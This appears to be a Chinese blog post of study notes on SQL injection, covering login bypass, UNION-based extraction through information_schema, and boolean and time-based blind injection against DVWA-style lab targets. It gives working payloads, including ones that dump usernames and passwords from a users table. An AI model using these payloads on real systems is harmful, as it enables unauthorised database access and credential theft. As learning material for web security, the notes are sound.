SQL 注入学习笔记:从联合查询到盲注

2026-10-13

SQL 注入

Select * from admin where username=' admin' and password=' admin' 我们可以用'or 1=1#作为密码输入 构成的 sql 语句为: Select * from admin where username=' admin' and password=' ′ or 1=1#' 上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。原因是在 where 子句后,我们可以看到三个条件语句 username=′ admin′ and password=′′ or 1=1。三个条件用 and 和 or 进行连接。在 sql 中,我们 and 的运算优先 级大于 or 的元算优先级。因此可以看到第一个条件(用 a 表示)是真的,第二个条件(用 b 表示)是假的,a and b = false,第一个条件和第二个条件执行 and 后是假,再与第三个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。

下面我们尝试使用联合查询注入来获取更多的数据。联合查询注入实际上就是利用 SQL 语句中的union select 来对数据进行查询。

union 操作符的介绍

  • UNION 操作符用于合并两个或多个 SELECT 语句的结果集

  • UNION 内部的 SELECT 语句必须拥有相同数量的列。列也 必须拥有相似的数据类型

  • 同时,每条 SELECT 语句中的列的顺序必须相同。

使用 union select 的时候,最重要的就是前后列数必须一致。那么,我们如何在不知道 Web 应用源码的情况下,获得其原本的查询列数呢?此时就需要用到order by语句。order by 语句会对查询语句的某一列进行排序,当碰到不存在的列(即要排序的列大于最大查询列数)的时候就会报错,因此适合用来判定查询列数。

可见,我们可以通过 order by 来确认原有的查询列数。此时会出现一个新的问题,那就是如何快速得到原有的查询列数呢?

需要格外注意的是,采用的查询语句格式需要结合具体的代码场景。例如在本例中,我们输入'order by 10#的原因需要结合查询语句来说明。原本的查询语句为:

此时$id 的值为'order by 10#,直接代入原语句中,得到:

可以看到,最后的单引号被#注释掉了,同时我们输入的单引号闭合掉了原语句中的第一个单引号,因此在保证语法正确的前提下,构造出了新的语义。

MySQL 中自带一个叫作information_schema的数据库,里面存储了所有数据库名、表名以及列名,可以通过以下语句进行查询。

查询所有数据库名:
select schema_name from information_schema.schemata
查询当前数据库的所有表名:
select table_name from information_schema.tables where table_schema=database()
查询指定表的所有列名:
select column_name from information_schema.columns where table_name='指定表名'
查询表中指定列的数据:
select 列名 from 表名
可构造查询语句
库名  ' union select 1,schema_name from information_schema.schemata#
表名  ' union select 1,table_name from information_schema.tables where table_schema=database()#
列名  ' union select 1,column_name from information_schema.columns where table_name='users'#
具体数据 ' union select user,password from users#
查询表中的数据,这里是查询users表中的user和password

可以自行构造,不必拘泥于具体格式。同时,在注入中,我们使用了单引号来“打破”原有的 SQL 查询结构。之所以使用单引号是由代码决定的,并不代表所有的场景都需要单引号。那么,到底什么样的场景需要用到引号,什么样的场景不需要引号(单引号或双引号)呢?下面是一个简单总结: ❑若引号报错,引号#不报错,则为字符型注入。 ❑若引号报错,引号#也报错,则为数字型注入。

注意:如果#是在 URL 中直接输入的,则需要写成 URL 编码格式,如%23,这是因为#在浏览器的 URL 中是具有特殊含义的,表示浏览器中的 fragment 标志位。fragment 标志位用来标记当前浏览网页的用户所处的页面位置,该字段不会发送到目标服务器(包括#),只在本地生效。所以,如果直接在 URL 中使用#,会导致该字符无法发送到目标服务器,从而导致注入失败。


SQL 注入(盲注)

盲注指没有数据回显的 SQL 注入

布尔盲注

我们结合 DVWA(Low Level)中的 SQL Injection(Blind)来讲解盲注入的相关知识点和原理。在该场景中,我们只会得到两类反馈结果,即 User ID exists in the database.或者 User ID is MISSING from the database.

服务器只会返回两种结果:当查询结果为真(成功)时,返回“User ID exists in the database.”;当查询结果为假(失败)时,返回“User ID is MISSING from the database.”。此时,我们可以利用这种特性,通过返回结果判断语句的执行结果为真(1)还是为假(0)。我们输入 1' and length(database())=4#,如果数据库名的长度确实为 4,则返回结果为真,否则为假。同理,我们可以依此逐字节判断数据库中的每一个字符。例如,我们输入以下内容:

后面语句部分的含义是判断数据库名字的第一个字符的 ASCII 码的值是否为 103,即字母'd',涉及 MySQL 的 ascii()函数和 substr()函数。其中,ascii()函数的作用是取字符的 ASCII 码;substr()函数的原型为 substr(str,pos,len),代表从 pos 开始的位置截取 str 字符串的 len 个字符(包括空白字符),其起始下标 pos 从 1 开始。


时间盲注

这类盲注入没有任何回显,此时无法根据回显信息对语句的执行结果进行判断,但是我们可以利用一些时间函数来判断,例如 sleep 函数等。我们在 SQL Injection(Blind)里面输入以下 Payload:

' and sleep(10)#

此时浏览器会进入一种卡顿的状态,卡顿时间略微高于 10 秒(网络延迟)。这种状态并不是由于网络原因造成的,而是 MySQL 数据库执行了 sleep(10)函数,即什么也不做,空转 10 秒。因此,我们可以利用这些函数特性,并结合判定语句来对结果进行判断。例如:

这里还需要用到 MySQL 的 IF 函数,函数语法为

如果浏览器确实存在 5 秒左右的延迟,就意味着当前数据库名的长度确实为 4。同理,我们也可以得到数据库中的其他数据信息。

联合查询注入实战

联合查询即两个 SELECT 语句合并查询,要求两张表列数相同。

注入点判断:输入单引号或双引号可看到报错,直接输入数字 id 有数据回显,说明存在注入点。

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。


?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

← 返回文章列表